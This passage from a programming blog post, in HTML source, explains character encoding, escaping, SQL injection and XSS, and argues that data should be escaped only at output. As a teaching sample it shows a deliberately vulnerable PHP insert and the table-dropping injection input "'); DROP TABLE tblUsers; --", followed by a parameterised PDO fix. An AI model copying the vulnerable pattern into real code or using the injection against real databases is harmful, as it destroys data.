UTF-8, leaving 7 not using UTF-8.  3 of those are on Shift JIS because they’re
either tailored for the Japanese mobile market—which endemically tends to
only support Shift JIS (Japanese mobile phones are not like your mobile phones)
—or because they make heavy use of &lt;a href=&quot;http://en.wikipedia.org/wiki/Shift_JIS_art&quot;&gt;Shift_JIS
art&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Storing data authentically is something that, as programmers, we need to get
used to, and clobbering data that doesn’t conform to your expectation makes no
sense.&lt;/p&gt;
&lt;p&gt;When data comes in, store it in a normal form.  If you’re building a webservice
in a sane language or framework, it’s probable that the environment has done
this work for you.&lt;/p&gt;
&lt;h2&gt;Don’t escape data&lt;/h2&gt;
&lt;p&gt;The key is to strongly mark the boundaries of keeping data in one format and
another.  Strongly-typed languages can distinguish this at compile time and
stop mistakes, but that’s a rant for another day.&lt;/p&gt;
&lt;p&gt;I’m going to start talking about another encoding process, often referred to as
escaping.&lt;/p&gt;
&lt;p&gt;Pop-quiz: what’s wrong with this PHP?&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lt;?&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// Omitted: init.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$username&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$&lt;span style=&quot;color: #fab387;&quot;&gt;_POST&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;username&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$password&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$&lt;span style=&quot;color: #fab387;&quot;&gt;_POST&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;password&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;mysql_query&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;INSERT INTO tblUsers VALUES (&amp;#39;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$username&lt;/span&gt;&amp;#39;, &amp;#39;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$password&lt;/span&gt;&amp;#39;)&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A related question is “what’s &lt;em&gt;not&lt;/em&gt; wrong with this PHP?”.  I can think of nine
separate issues with it &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-php-issue-register&quot; id=&quot;fnref-php-issue-register&quot; data-footnote-ref&gt;7&lt;/a&gt;&lt;/sup&gt;, but let’s look at the obvious
one: &lt;code&gt;$username&lt;/code&gt; and &lt;code&gt;$password&lt;/code&gt; are inserted into the query unescaped.  Maybe.&lt;/p&gt;
&lt;p&gt;Unless you live under a rock, you’ll recognise the &lt;a href=&quot;http://en.wikipedia.org/wiki/SQL_injection&quot;&gt;SQL injection attack&lt;/a&gt;,
also known as &lt;strong&gt;SQLi&lt;/strong&gt;.  The issue is because we’re substituting
&lt;code&gt;$username&lt;/code&gt;—which we should think of as user data—directly into the stream
of a MySQL command.  By doing so, we’re essentially saying that the user data
&lt;em&gt;is&lt;/em&gt; part of a MySQL command—because it is.  A user could enter &lt;code&gt;&amp;quot;&#39;); DROP TABLE tblUsers; --&lt;/code&gt;,
and because we failed to encode user data as user data (which really means
escaping here), it happens.&lt;/p&gt;
&lt;p&gt;So how do we “encode” data?  The correct way is to let the layer of abstraction
handle that for you.  If you use &lt;a href=&quot;http://php.net/manual/en/book.pdo.php&quot;&gt;PDO&lt;/a&gt;,
and put the laundry list of issues with the above code aside, it looks like
this:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lt;?&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// Omitted: init, database connection in $db.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$stmt&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$db&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;prepare&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;INSERT INTO tblUsers VALUES (:username, :password)&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;$stmt&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;execute&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;	&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;:username&amp;#39;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$&lt;span style=&quot;color: #fab387;&quot;&gt;_POST&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;username&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;	&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;:password&amp;#39;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;$&lt;span style=&quot;color: #fab387;&quot;&gt;_POST&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;password&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We let PDO deal with constructing the query—being the most-informed part of
the system to deal with query parameter encoding.  If we do it ourselves, we’ll
probably make a mistake.&lt;/p&gt;
&lt;p&gt;Note that &lt;strong&gt;we are &lt;em&gt;not&lt;/em&gt; escaping the data&lt;/strong&gt;—we’re deciding that another part
of the system which knows how to do it should do it instead.  Knowing when
&lt;strong&gt;not&lt;/strong&gt; to escape is often just as important as knowing when &lt;strong&gt;to&lt;/strong&gt; escape.&lt;/p&gt;
&lt;h3&gt;Caveat&lt;/h3&gt;
&lt;p&gt;Q. When will the above go terribly wrong?&lt;/p&gt;
&lt;p&gt;A. &lt;a href=&quot;http://web.archive.org/web/20171002204939/http://php.net/manual/en/security.magicquotes.php&quot;&gt;When a deficient language tries to automate security&lt;/a&gt;,
and finds that’s actually not possible according to the definition of security.&lt;/p&gt;
&lt;p&gt;Hello, your database is now full of backslashes.  Unfortunately, magic quotes
is enabled at the level of the webserver, so if your host has it enabled, you
have to try to turn it off.  &lt;a href=&quot;http://web.archive.org/web/20210101040748/https://www.php.net/manual/en/security.magicquotes.disabling.php&quot;&gt;Look at that Example #2.  Mmmmmm.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Do &lt;strong&gt;not&lt;/strong&gt; rely on broken auto-escaping.  Your code will become unportable (and
insecure) if you end up hosting the same stuff elsewhere where this process
does not take place.  It’s tantamount to assuming all data will come in encoded
in UTF-16 and being surprised when your application breaks at inopportune moments.&lt;/p&gt;
&lt;p&gt;(Edit 2021-02-18: I’ve needed to put in archive links here, as this has been
thoroughly sweeped under the rug; deprecated in PHP 5.3 and removed in PHP 5.4.
Keep in mind you can still find PHP 4 webhosting if you search for it.)&lt;/p&gt;
&lt;h2&gt;The golden rule&lt;/h2&gt;
&lt;p&gt;So, what’s the guiding principle?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Data in your application should be &lt;em&gt;semantically pure&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If this doesn’t make any sense to you, read it once more, and I’ll explain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Data in your application should be &lt;em&gt;semantically pure&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Let’s say you take a username as input in a web application.  When the client
makes the request and sends us this username, we receive it into a variable.
What does the variable contain, right from the start?  Is it the exact text
they entered?  Does it have quotes escaped?  Are characters like &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt;
converted to HTML entities so we can output it back into the page if we need
to?&lt;/p&gt;
&lt;p&gt;No.  The variable contains the username.  &lt;em&gt;Nothing&lt;/em&gt; else.&lt;/p&gt;
&lt;p&gt;It is not escaped.  It has no special encoding &lt;strong&gt;other&lt;/strong&gt; than the normalisation
about textual data encoding we’ve already discussed.  It is in &lt;em&gt;no way&lt;/em&gt; prepped
for output, because it is the &lt;em&gt;pure&lt;/em&gt; username.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;When&lt;/em&gt; we want to output it, we pass it to the presentation layer &lt;em&gt;pure&lt;/em&gt;, and
let the presentation layer apply as many post-processing layers of encoding as
is required for the context.  It will probably convert special characters to
entities if they could cause issues.  If it’s being put in a link URI it will
be URI encoded.  If it’s ending up in some server-side generated JavaScript it
may need to be escaped appropriately.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;When&lt;/em&gt; we want to do a match against the database, we pass it to the database
layer &lt;em&gt;pure&lt;/em&gt;, and let the database layer perform the correct escaping for the
context.&lt;/p&gt;
&lt;p&gt;Let’s say you take a user’s age as input in a web application.  You may have a
mind for UX, so you check that the field appears to contain a number.  Now,
before you start passing that variable around everywhere, what do you do?
&lt;strong&gt;You represent it internally as a number&lt;/strong&gt;.  You call
&lt;a href=&quot;http://php.net/intval&quot;&gt;&lt;code&gt;intval&lt;/code&gt;&lt;/a&gt; or &lt;code&gt;list_to_integer/1&lt;/code&gt; and you &lt;strong&gt;let the
presentation layer decide what to do with a number&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Otherwise you’re going to leave yourself open for all sorts of trouble.&lt;/p&gt;
&lt;p&gt;The key is that the value is &lt;em&gt;semantically&lt;/em&gt; pure—it carries the meaning of
the value in the programming language as it does in your mind.  No extra
backslashes in your mind?  Make sure the application sees that too.  This is
why we add structs, classes, new types and so forth; to better model the
semantics of the values in the programming language.&lt;/p&gt;
&lt;h2&gt;MVC&lt;/h2&gt;
&lt;p&gt;The model is the purest part of the application.  You ask it for some value,
and it gives it to you, completely unadorned.  It’s the controller’s
responsibility to request data of the model, and to hand all requisite data so
gathered to the view; it’s ultimately the view’s responsibility to perform
encoding of data according to context.&lt;/p&gt;
&lt;p&gt;Similarly, when the controller receives request data, it should parse it into
semantically meaningful values, which are then passed back to the view and into
models as appropriate.&lt;/p&gt;
&lt;p&gt;If the view then, say, uses some of this data in a query string value, it URI
encodes it.  If it’s including the data on the page directly, it converts HTML
entities to avoid &lt;a href=&quot;http://en.wikipedia.org/wiki/Cross-site_scripting&quot;&gt;XSS&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And so on.&lt;/p&gt;
&lt;h2&gt;Escape data, unescape data&lt;/h2&gt;
&lt;p&gt;I hope this entry might have shown you some of the parallels between
character-set encoding and escaping; they are both forms of processing data
into different formats, and it’s nearly always a mistake to not know if this
form of processing has occurred yet on a given piece of data, anywhere in an
application.&lt;/p&gt;
&lt;p&gt;Repeating the process (double-escaping or double-encoding) &lt;em&gt;without intending
to&lt;/em&gt; means you’re actually talking about those bytes that represent the encoded
data &lt;em&gt;in&lt;/em&gt; the encoded data.  Without being sure of the state of your inputs,
this can happen easily, and the next time you type &lt;code&gt;恋は戦争&lt;/code&gt;, you end up
seeing &lt;code&gt;æ&amp;lt;81&amp;gt;&amp;lt;8b&amp;gt;ã&amp;lt;81&amp;gt;¯æ&amp;lt;88&amp;gt;¦äº&amp;lt;89&amp;gt;&lt;/code&gt;—which is what happens if you interpret
the UTF-8 bytes of the string as a Latin-1 sequence&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-encodeception&quot; id=&quot;fnref-encodeception&quot; data-footnote-ref&gt;8&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Here are some other actions analogous to encoding.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Shell escaping.&lt;/li&gt;
&lt;li&gt;Wrapping in the jQuery object&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-jquery-idempotency&quot; id=&quot;fnref-jquery-idempotency&quot; data-footnote-ref&gt;9&lt;/a&gt;&lt;/sup&gt;.&lt;/li&gt;
&lt;li&gt;Quoting people in conversation.&lt;/li&gt;
&lt;li&gt;Editor’s comments in a quote in a newspaper.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ultimately, it’s a matter of being certain about the &lt;em&gt;type&lt;/em&gt; of data you’re
handling, whereby type I mean anything relevant to parsing its semantic
content.  Both dynamically- and statically-typed languages are amenable to
annotating objects with metadata concerning the operations that have been
carried out with them.&lt;/p&gt;
&lt;p&gt;I’m also trying to point out that this is not restricted to programming
languages—it’s whenever you have different categories of things being spoken
of, or different levels of abstraction.&lt;/p&gt;
&lt;p&gt;Golang’s &lt;a href=&quot;http://golang.org/pkg/html/template/&quot;&gt;html/template package&lt;/a&gt;,
effectively performing the role of the view in MVC, does automatic encoding of
data that has come from the controller, depending on the context.  This is a
nifty feature, as it allows you to forget about escaping—so long as you are
passing it semantically pure data, of course.&lt;/p&gt;
&lt;p&gt;If you have the template &lt;code&gt;&amp;lt;p&amp;gt;&amp;lbrace;&amp;lbrace; &amp;quot;&amp;lbrace;&amp;lbrace;.&amp;quot; &amp;rbrace;&amp;rbrace;&amp;rbrace;&amp;rbrace;&amp;lt;/p&amp;gt;&lt;/code&gt;, then data to be substituted at
dot will have HTML entities inserted automatically, preventing XSS attacks.
Similarly, with the template fragment
&lt;code&gt;&amp;lt;a href=&amp;quot;/?action=&amp;lbrace;&amp;lbrace; &amp;quot;&amp;lbrace;&amp;lbrace;.&amp;quot; &amp;rbrace;&amp;rbrace;&amp;rbrace;&amp;rbrace;&amp;quot;&amp;gt;&amp;lbrace;&amp;lbrace; &amp;quot;&amp;lbrace;&amp;lbrace;.&amp;quot; &amp;rbrace;&amp;rbrace;&amp;rbrace;&amp;rbrace;&amp;lt;/a&amp;gt;&lt;/code&gt; dot’s content will be URI
encoded in the first instance and have HTML entities inserted in the second.&lt;/p&gt;
&lt;p&gt;As the package documentation explains:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This package assumes that template authors are trusted, that Execute’s data
parameter is not, and seeks to preserve the properties below in the face of
untrusted data:&lt;/p&gt;
&lt;p&gt;Structure Preservation Property: “… when a template author writes an HTML
tag in a safe templating language, the browser will interpret the
corresponding portion of the output as a tag regardless of the values of
untrusted data, and similarly for other structures such as attribute
boundaries and JS and CSS string boundaries.”&lt;/p&gt;
&lt;p&gt;Code Effect Property: “… only code specified by the template author should
run as a result of injecting the template output into a page and all code
specified by the template author should run as a result of the same.”&lt;/p&gt;
&lt;p&gt;Least Surprise Property: “A developer (or code reviewer) familiar with HTML,
CSS, and JavaScript, who knows that contextual autoescaping happens should be
able to look at a {{ “{{.” }}}} and correctly infer what sanitization happens.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This provides a lot of reassurances that we want—but then if we &lt;em&gt;do&lt;/em&gt; have
some data in the controller that we &lt;em&gt;really&lt;/em&gt; want to be substituted in as HTML,
what’s a cute programmer such as yourself to do?&lt;/p&gt;
&lt;p&gt;The same package provides the
&lt;a href=&quot;http://golang.org/pkg/html/template/#HTML&quot;&gt;&lt;code&gt;HTML&lt;/code&gt; type&lt;/a&gt;
—actually, a synonym for &lt;code&gt;string&lt;/code&gt;.  In Golang, type synonyms are different
types with respect to method sets—we can’t use a method of one on another
(methods are not inherited)—and there is no implicit conversion between them.
Objects of different types (even where the types are synonyms) are completely
different, except that we can
&lt;a href=&quot;http://golang.org/ref/spec#Conversions&quot;&gt;convert between them&lt;/a&gt; as they have the
same &lt;a href=&quot;http://golang.org/ref/spec#Types&quot;&gt;underlying type&lt;/a&gt;.  This means that we
can take a &lt;code&gt;string&lt;/code&gt; and turn it into a &lt;code&gt;HTML&lt;/code&gt; with a simple conversion:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-go&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// x is of type string&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;x&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;:=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;lt;p&amp;gt;This is delicious!&amp;lt;/p&amp;gt;&amp;quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// y is of type HTML&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;y&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;:=&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;HTML&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Passing an object of type HTML to &lt;code&gt;html/template&lt;/code&gt; tells it that the escaping
required to sanitise HTML has already been done, and so in a context where such
escaping is necessary, the content will be included verbatim.  Of course, this
also implies you don’t let user input find its way into a &lt;code&gt;HTML&lt;/code&gt;-typed object
without doing necessary encoding/normalisation yourself.  I refrain from using the word “sanitisation”, as the term has plenty of bad connotations which I’m about to talk about.&lt;/p&gt;
&lt;p&gt;There are a range of other types for indicating that you’ve taken on the
responsibility of validating the variable contents are safe for use in given
contexts, i.e. giving the developer an escape for getting some data in which
you know you don’t want re-encoded.  The important thing is that you’re
categorically stating that it’s so—no part of the system will assume it
otherwise.  It’s safe by default, but in a way that doesn’t compare to “magic
quotes”, because it’s happening at the view, right before output, not at data
entry, contaminating your entire application.&lt;/p&gt;
&lt;h2&gt;For the love of all that is good&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://coding.smashingmagazine.com/2011/01/11/keeping-web-users-safe-by-sanitizing-input-data/&quot;&gt;Don’t do this&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is an anti-pattern.  This is &lt;strong&gt;the&lt;/strong&gt; anti-pattern.  The author’s very
first suggestion is to tell you to set the server-wide configuration for PHP to
automatically do certain escaping on some variables.  The idea is that you can
now pretend that all your variables are ready to become a part of HTML
somewhere!&lt;/p&gt;
&lt;p&gt;Of course, if you insert these (safely) into the database, you’ve just inserted
HTML-sanitised data into the database.  Your database is perfectly capable of
storing the text &lt;code&gt;kivi &amp;quot;owl&amp;quot; kakk&lt;/code&gt;, but now you’ve got a row with the value
&lt;code&gt;kivi &amp;amp;quot;owl&amp;amp;quot; kakk&lt;/code&gt;.  If you still think this is a good idea, you
should leave the classroom right now.&lt;/p&gt;
&lt;p&gt;You read this out of the database.  Maybe you want to know how many characters
long it is.  &lt;code&gt;strlen()&lt;/code&gt;?  26.  Never mind that the actual displayed string is
16 when shown in HTML.  Maybe you want to use this value in an API call to some
other webservice.  You wrap it in a few objects, maybe encode it to JSON.  Now
you have to remember to &lt;em&gt;decode&lt;/em&gt; the entities before you use it in non-HTML
contexts.  Though if you want to put it into HTML to be part of a URI, you have
to remember to decode it, then re-encode it with URI (component) encoding.  You
lose.&lt;/p&gt;
&lt;p&gt;If you treat data semantically to begin with, and only encode it as appropriate
for the output at the &lt;em&gt;time&lt;/em&gt; of output, we don’t have an issue.  Input
filtering is just a way to make sure you’ll never really know what’s in a
variable.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Data in your application should &lt;em&gt;mean what it means&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;When data comes in, interpret its &lt;em&gt;meaning&lt;/em&gt; once, according to context.&lt;/p&gt;
&lt;p&gt;When data goes out, encode it &lt;em&gt;meaningfully&lt;/em&gt; according to context.&lt;/p&gt;
&lt;p&gt;This applies to charsets, escaping and more.&lt;/p&gt;
&lt;h2&gt;Postscript: PHP strings&lt;/h2&gt;
&lt;p&gt;It’s interesting to note here that there is neither a PHP type which represents
a string with a given encoding—
&lt;a href=&quot;http://www.php.net/manual/en/language.types.string.php#language.types.string.details&quot;&gt;the PHP string is a byte-buffer&lt;/a&gt;
and no more—nor a suitable sequence-like container for arbitrary codepoints;
you could follow the same approach that Erlang takes and store codepoints as
integers within arrays, but due to PHP’s impressive array
type&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-array-what-array&quot; id=&quot;fnref-array-what-array&quot; data-footnote-ref&gt;10&lt;/a&gt;&lt;/sup&gt;, it would be incredibly inefficient.&lt;/p&gt;
&lt;p&gt;I’m also not finding any way to take an arbitrary list of codepoints (or a
single codepoint) and return it in a given encoding; the data is always assumed
to have come in as a string in some encoding.  Of course, you could take your
codepoints and convert them to UTF-8 yourself, and &lt;em&gt;then&lt;/em&gt; treat that with the
multibyte string module.  &lt;a href=&quot;http://stackoverflow.com/questions/1805802/php-convert-unicode-codepoint-to-utf-8&quot;&gt;This appears to not be
atypical&lt;/a&gt;.
Oh, PHP.&lt;/p&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-php-silly&quot;&gt;
&lt;p&gt;Hint: the way PHP does it is silly.  See the part on “Text” in &lt;a href=&quot;http://me.veekun.com/blog/2012/04/09/php-a-fractal-of-bad-design/&quot;&gt;Eevee’s
blog post about
PHP&lt;/a&gt;. &lt;a href=&quot;#fnref-php-silly&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-love-is-war&quot;&gt;
&lt;p&gt;Japanese &lt;em&gt;koi wa sensou&lt;/em&gt;, meaning &lt;a href=&quot;http://supercell.sc/koisen/&quot;&gt;“love is war”&lt;/a&gt;. &lt;a href=&quot;#fnref-love-is-war&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;2&quot; aria-label=&quot;Back to reference 2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-mb-encoding&quot;&gt;
&lt;p&gt;All encodings mentioned so far, except ASCII, are examples of
&lt;a href=&quot;http://en.wikipedia.org/wiki/Variable-width_encoding&quot;&gt;variable-width
encodings&lt;/a&gt;, or
&lt;em&gt;multibyte encodings&lt;/em&gt;. &lt;a href=&quot;#fnref-mb-encoding&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;3&quot; aria-label=&quot;Back to reference 3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-inconvenient-truth&quot;&gt;
&lt;p&gt;Well, there are binaries, but &lt;strong&gt;sshhhh&lt;/strong&gt;, I’m in the middle of pointmaking. &lt;a href=&quot;#fnref-inconvenient-truth&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;4&quot; aria-label=&quot;Back to reference 4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-utf-32-clusterfuck&quot;&gt;
&lt;p&gt;Of course, they shot themselves in all thirty-two of their feet when
English-language text in UTF-32 resembles UTF-16 so much that browsers
trying to auto-detect encoding when the server doesn’t declare it &lt;a href=&quot;http://en.wikipedia.org/wiki/UTF-32#Non-use_in_HTML5&quot;&gt;detect
it as UTF-16&lt;/a&gt;, not to
mention endianness problems also found in UTF-16 and &lt;a href=&quot;http://en.wikipedia.org/wiki/Byte_order_mark&quot;&gt;the terrible kludges
to work around
them&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Given UTF-16 doesn’t solve any problem (well), and creates many, I find
myself wondering why they bothered. &lt;a href=&quot;#fnref-utf-32-clusterfuck&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;5&quot; aria-label=&quot;Back to reference 5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-whose-encoding-is-it-anyway&quot;&gt;
&lt;p&gt;And how do you know the encoding?  You don’t.  The browser encodes it in
the &lt;em&gt;same encoding as it determined the page to be&lt;/em&gt;.  Think about what that
